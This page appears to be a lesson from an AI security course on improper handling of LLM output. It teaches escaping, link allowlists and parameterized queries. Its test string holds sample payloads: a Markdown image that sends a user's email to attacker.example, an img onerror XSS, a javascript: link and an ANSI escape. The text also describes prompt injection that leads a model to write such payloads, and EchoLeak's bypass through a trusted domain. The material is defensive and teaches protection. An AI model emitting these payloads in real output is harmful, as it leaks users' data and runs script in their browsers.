Catalog My learning Blog
AI Security Course: OWASP LLM Top 10 2026 and Agentic AI · Phase 4 · Lesson 19 · 4 min read

Improper Output Handling in LLM Apps (LLM10)

On this page
  1. Treat model output as untrusted input
  2. Rendering SupportBot's answers safely
  3. SQL and shell: don't let the model write the command
  4. Check yourself

Treat model output as untrusted input

Every classic injection has an LLM version. If model output reaches a browser unescaped, you get cross-site scripting. If it's pasted into SQL, you get SQL injection. Into a shell, command injection. The twist is that the attacker doesn't type into your form. They get the model to write the payload for them, through direct or indirect prompt injection.

LLM10, Improper Output Handling, dropped to tenth in 2026 but widened its scope. It now explicitly includes terminal control characters, the automatic fetching of external resources like images, and untrusted tool output flowing back through your application.

The rule is the one from the classic OWASP Top 10, applied to a new source: treat model output as untrusted input to the next component.

Where output goesAttackControl
Browser (HTML or Markdown)XSS, no-click data leaks via imagesEscape HTML, strip images, allowlist links
SQLSQL injectionParameterized queries with model-chosen values only
ShellCommand injectionFixed commands, validated arguments, no string building
Terminal or logsANSI escape sequences that rewrite or hide outputStrip control characters
Another system's APIUnexpected fields or valuesValidate against a strict schema
Email and documentsPhishing links in trusted-looking messagesLink allowlist, plain text where possible

Rendering SupportBot's answers safely

Day 7's attack relied on the widget rendering a Markdown image. Here's a renderer that escapes everything, removes images entirely, keeps only links to your own domains, and strips terminal control sequences:

Python
import html, re
from urllib.parse import urlparse

ALLOWED_HOSTS = {"acme.example", "help.acme.example"}
ANSI = re.compile(r"\x1b\[[0-9;?]*[ -/]*[@-~]|\x1b\][^\x07\x1b]*(\x07|\x1b\\)")
IMAGE = re.compile(r"!\[([^\]]*)\]\((?:[^()]|\([^()]*\))*\)")
LINK = re.compile(r"\[([^\]]+)\]\(((?:[^()\s]|\([^()\s]*\))+)\)")

def safe_link(m: re.Match) -> str:
    text, url = m.group(1), m.group(2)
    p = urlparse(url)
    if p.scheme == "https" and p.hostname in ALLOWED_HOSTS:
        return f'<a href="{html.escape(url, quote=True)}" rel="noopener nofollow">{html.escape(text)}</a>'
    return html.escape(text)                    # keep the words, drop the link

def render_model_output(md: str) -> str:
    md = ANSI.sub("", md)                                       # terminal control sequences
    md = IMAGE.sub(lambda m: html.escape(m.group(1)), md)       # no remote images at all
    parts, last = [], 0
    for m in LINK.finditer(md):
        parts.append(html.escape(md[last:m.start()]))
        parts.append(safe_link(m))
        last = m.end()
    parts.append(html.escape(md[last:]))
    return "".join(parts).replace("\n", "<br>")

evil = ('Done! ![ok](https://attacker.example/p.png?d=ana@example.com) '
        '<img src=x onerror=alert(1)> See [policy](https://help.acme.example/refunds) '
        'or [here](javascript:alert(1)) or [this](https://attacker.example/x).\x1b[2J')
print(render_model_output(evil))

The output:

Code
Done! ok &lt;img src=x onerror=alert(1)&gt; See <a href="https://help.acme.example/refunds" rel="noopener nofollow">policy</a> or here or this.

The image with the stolen email is gone, the raw HTML is shown as text, the javascript: and attacker links lose their targets, and the screen-clearing escape sequence is removed. Only the link to your help site survives.

In a real frontend, use your Markdown library's safe mode (raw HTML disabled), then apply the same image and link rules, and add a Content Security Policy that blocks images and connections to other origins. The CSP is the backstop if a rendering rule ever misses something. EchoLeak got past one by routing through a trusted Microsoft domain, which is why the allowlist above names exact hosts rather than whole providers.

SQL and shell: don't let the model write the command

If a feature lets the model choose a value, keep the query fixed and pass the value as a parameter:

SQL
# The model picks the status; the code owns the SQL.
status = tool_args["status"]
if status not in {"open", "shipped", "cancelled"}:
    raise ValueError("bad status")
rows = db.execute("SELECT id, total FROM orders WHERE customer = ? AND status = ?",
                  (session.customer_id, status)).fetchall()

The same goes for shells: call fixed programs with argument lists (subprocess.run(["git", "log", "-n", str(n)])), never shell=True with model text. When the model must write queries or code, that's Day 14's territory: a read-only role, or a sandbox.

Check yourself

Stored or reflected XSS from HTML the model was tricked into writing, plus no-click exfiltration through images. Disable raw HTML, strip images and allowlist links, with a CSP as a backstop.

A ticket can contain injected text that makes the model emit escape codes, which can hide lines, rewrite what's on screen or, in some terminals, trigger other behavior. Strip control characters before printing.

Big providers host user-controlled content and redirectors, and attackers use them to reach their own servers, as EchoLeak did. Exact hosts you control leave no such path.

Treat it like untrusted user input: encode it for the place it's used, validate it against a schema, and never pass it directly to a shell, SQL interpreter or HTML renderer.